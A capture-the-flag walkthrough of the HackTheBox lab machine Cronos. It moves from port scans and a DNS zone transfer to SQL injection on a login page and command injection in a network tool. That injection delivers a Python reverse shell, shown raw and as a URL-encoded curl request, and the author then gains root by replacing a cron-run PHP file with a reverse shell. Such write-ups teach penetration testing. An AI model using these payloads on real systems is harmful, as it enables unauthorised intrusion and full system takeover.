HackTheBox Write-Up — Cronos

Bradley Fell, @FellSEC
9 min readJun 1, 2020

Cronos is a machine that takes advantage of basic SQL injection and a zone transfer to enumerate it’s sub-directories. Privilege escalation is fairly simple when we discover a PHP file owned by our low-privilege user.

nmap -T4 -p- 10.10.10.13

Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-01 11:57 EDT
Nmap scan report for 10.10.10.13
Host is up (0.054s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 113.93 seconds

The ports 22, 53, and 80 are open.

nmap -T4 -A -p22,53,80 10.10.10.13

Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-01 12:07 EDT
Nmap scan report for 10.10.10.13
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 51.10 ms 10.10.14.1
2 51.18 ms 10.10.10.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.88 seconds

Whenever I see a web server… I run a Nikto scan and a directory brute force.

nikto -h 10.10.10.13

gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.13 > gobuster.txt

Unfortunately, we don’t find much as you can see below.

The web server shows us an Apache default page, maybe there is a DNS problem?

By performing nslookup, we were able to find the nameserver for cronos.htb:

nslookup

server 10.10.10.13

nslookup 10.10.10.13

We also run a zone transfer to see if there are any additional domains.

host -l cronos.htb 10.10.10.13

ns1.cronos.htb

cronos.htb

admin.cronos.htb

Let’s add this to our /etc/hosts file,

echo “10.10.10.13 cronos.htb” >> /etc/hosts

echo “10.10.10.13 admin.cronos.htb” >> /etc/hosts

By visiting http://cronos.htb and http://admin.cronos.htb take a look at what we get back!

From here, we can re-run our directory brute force and our Nikto scan on both domains.

nikto -h cronos.htb

gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://cronos.htb

nikto -h admin.cronos.htb

gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://admin.cronos.htb

Immediately we notice that we’re getting different results:

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://cronos.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/css (Status: 301)
/js (Status: 301)
=====================================================
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://admin.cronos.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
=====================================================
Nothing
=====================================================
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.13
+ Target Hostname: admin.cronos.htb
+ Target Port: 80
+ Start Time: 2020-06-01 13:21:07 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /, fields: 0x30a6 0x555402443a52b
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7499 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-06-01 13:29:36 (GMT-4) (509 seconds)
--------------------------------------------------------------------
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.13
+ Target Hostname: cronos.htb
+ Target Port: 80
+ Start Time: 2020-06-01 13:02:19 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie XSRF-TOKEN created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x18 0x54cae721c43bb
+ Allowed HTTP Methods: GET, HEAD
+ OSVDB-3092: /web.config: ASP config file is accessible.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7445 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-06-01 13:11:57 (GMT-4) (578 seconds)
--------------------------------------------------------------------

Not much was found from these scripts, our focus lies with http://admin.cronos.htb.

We can try to brute force the admin credentials, but we already know that this page is vulnerable to SQL injection. From the sheet below we are going to enter this to the “UserName” field and we will be given administrator access.

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Clicking submit will give us access.

From here we find Net Tool v0.1, this tool allows access to the “traceroute” and “ping” command. Let’s see if we can execute more commands along with a ping or traceroute.

We’re going to traceroute 8.8.8.8 which is Google’s DNS server, and we’re going to try to ping ourselves along with it.

We setup a listener with tcpdump on the “tun0” interface.

With our IP being 10.10.14.5 on this interface, we’re going to ping this IP.

As you can see the ping requests start flooding in.

Let’s load up Burp, and craft ourselves a reverse shell by intercepting the request and seeing what we get back each time.

As you can see these requests are “URL encoded,” we will need to URL encode our reverse shell inside Burp and send the request.

It appears we have Python on the machine, so we will use a Python-reverse-shell.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We’ll connect to our IP over port 443.

Setup a listener and replace the ping request with the above code inside Burp. Be sure to URL encode using CTRL + U and repeater.

We send the request and we are blessed with a shell!

I’ve copied the request to a curl command below.

curl -i -s -k  -X $'POST' \
-H $'Host: admin.cronos.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://admin.cronos.htb/welcome.php' -H $'Cookie: PHPSESSID=mpi2m3tie7smsrcbgrfs91si75' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 279' \
-b $'PHPSESSID=mpi2m3tie7smsrcbgrfs91si75' \
--data-binary $'command=traceroute&host=8.8.8.8+%26+python+-c+\'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"10.10.14.5\",443))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b\'' \
$'http://admin.cronos.htb/welcome.php'

Let’s upgrade out shell using the following command:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

CTRL + Z

fg

Once you type “fg + ENTER” after CTRL + Z, it will upgrade to a fully interactive shell.

See: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ for additional info

Let’s use LinEnum.sh to see how we can elevate our privileges to the root user. To do this, we’ll put LinEnum.sh in our local directory and host an HTTP server. From our victim machine, we’ll download it to the home directory of the current user.

python3 -m http.server 80

wget http://10.10.14.5/LinEnum.sh

chmod +x LinEnum.sh

From here we can run the script.

./LinEnum.sh

Within the script we realize there is a php page running as a cronjob within the www directory. As the www-data user, this is interesting to us.

Let’s see if we have RW permissions to this file- /var/www/laravel/artisan

Surprise! We own it..

Let’s change the contents of this file to a reverse shell, setup a listener… and have root kick off the cronjob giving us (hopefully) a reverse shell with root-level access.

We’ve copied the reverse shell located at /usr/share/webshells/php/php-reverse-shell.php to our local directory, renamed the file to rev.php, and changed the parameters within to our own IP/PORT we’re going to be using for the shell.

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell rev.php

Let’s host the file on a local HTTP server, and download it to our victim’s /tmp directory. From here we’ll rename it to the name of the php page we’re going to replace. Be sure to setup a listener on the desired port.

python3 -m http.server 80

cd /tmp

wget http://10.10.14.5/rev.php

mv rev.php artisan

nc -nlvp 444

The final move will be to move the file to it’s destination directory and wait for the cronjob to kick off…, which from the cronjob we’ve discovered it is /var/www/laravel/.

cp artisan /var/www/laravel/

Root.txt is located at /root/root.txt

--

--